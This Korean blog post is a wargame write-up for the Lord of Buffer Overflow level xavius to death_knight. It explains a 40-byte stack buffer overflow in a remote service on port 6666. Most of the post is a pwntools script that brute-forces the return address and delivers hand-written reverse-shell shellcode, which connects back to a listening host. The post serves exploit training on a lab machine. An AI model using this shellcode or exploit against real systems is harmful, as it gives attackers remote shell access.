-
[LOB] xavius > death_knightWargame/Lord of Buffer Overflow 2021. 8. 18. 14:33
[LOB] xavius > death_knight
이번 문제는 입력을 6666 포트에 remote로 받는다.
핵심만 살펴보면 buffer가 40byte이고 256byte 입력을 받기에 bof가 일어난다.
이렇게 실행되고 있는것을 확인할 수 있다.
하지만 buffer의 정확한 위치를 알 수 없어 brute force를 때렸다.
Shellcode Reverse shellcode를 만들어 줌
12345678910111213141516from pwn import *shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"shellcode +="\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\xf8\x81\x66\x68"shellcode +="\x1e\x61\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"shellcode +="\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"shellcode +="\x89\xe1\xb0\x0b\xcd\x80"for i in range(0xbfffffff, 0xbfff0000, -100):p = remote("192.168.248.128",6666)ret = p32(i)payload = "A"*44 + ret + "A"*100 + shellcodep.send(payload)p.close()printcs 연결할 곳 포트를 열어두고 코드를 실행하면 된다.
death_knight / got the life
'Wargame > Lord of Buffer Overflow' 카테고리의 다른 글
[LOB] death_knight (0) 2021.08.18 [LOB] nightmare > xavius (0) 2021.07.16 [LOB] succubus > nightmare (0) 2021.07.16 [LOB] zombie_assassin > succubus (0) 2021.07.15 [LOB] assassin > zombie_assassin (0) 2021.07.15